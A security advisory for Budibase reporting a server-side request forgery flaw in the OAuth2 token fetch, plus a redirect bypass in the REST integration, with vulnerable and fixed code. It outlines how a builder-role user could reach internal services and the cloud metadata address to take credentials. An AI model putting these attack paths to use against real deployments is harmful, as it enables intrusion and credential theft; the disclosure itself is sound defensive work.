Vulnerability from github – Published: 2026-06-12 15:08 – Updated: 2026-06-12 15:08Summary
The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.
A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.
Details
Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetch(config.url, fetchConfig) // NO blacklist check!
// ...
}
Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:
export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
await blacklist.isBlacklisted(url) // Checks against internal IPs
const response = await fetch(url, { ...opts, redirect: "manual" })
// Re-checks every redirect target
}
Where fetchWithBlacklist IS used (consistency gap proof):
- automations/steps/discord.ts — Discord webhook
- automations/steps/slack.ts — Slack webhook
- automations/steps/make.ts — Make.com integration
- automations/steps/n8n.ts — n8n integration
- automations/steps/zapier.ts — Zapier integration
- automations/steps/outgoingWebhook.ts — Custom webhooks
- Plugin download (GitHub, NPM)
- Object store tarball downloads
Where it is NOT used:
- sdk/workspace/oauth2/utils.ts:59 — OAuth2 token fetch ← THIS VULNERABILITY

Additional SSRF Vector: REST Integration Redirect Bypass
The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.
Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.
Impact
- Internal service access — CouchDB (default port 5984), Redis, internal APIs
- Cloud metadata exfiltration — AWS/GCP/Azure IAM credentials via 169.254.169.254
- Credential leakage — OAuth2 client_id and client_secret sent as Basic auth to attacker URL
- Network reconnaissance — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)
Remediation
Replace fetch(config.url, fetchConfig) with fetchWithBlacklist(config.url, fetchConfig) in packages/server/src/sdk/workspace/oauth2/utils.ts:
import { fetchWithBlacklist } from "@budibase/backend-core/utils"
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetchWithBlacklist(config.url, fetchConfig)
// ...
}
Also fix the REST integration redirect bypass in packages/server/src/integrations/rest.ts by using fetchWithBlacklist() instead of raw undici.fetch().
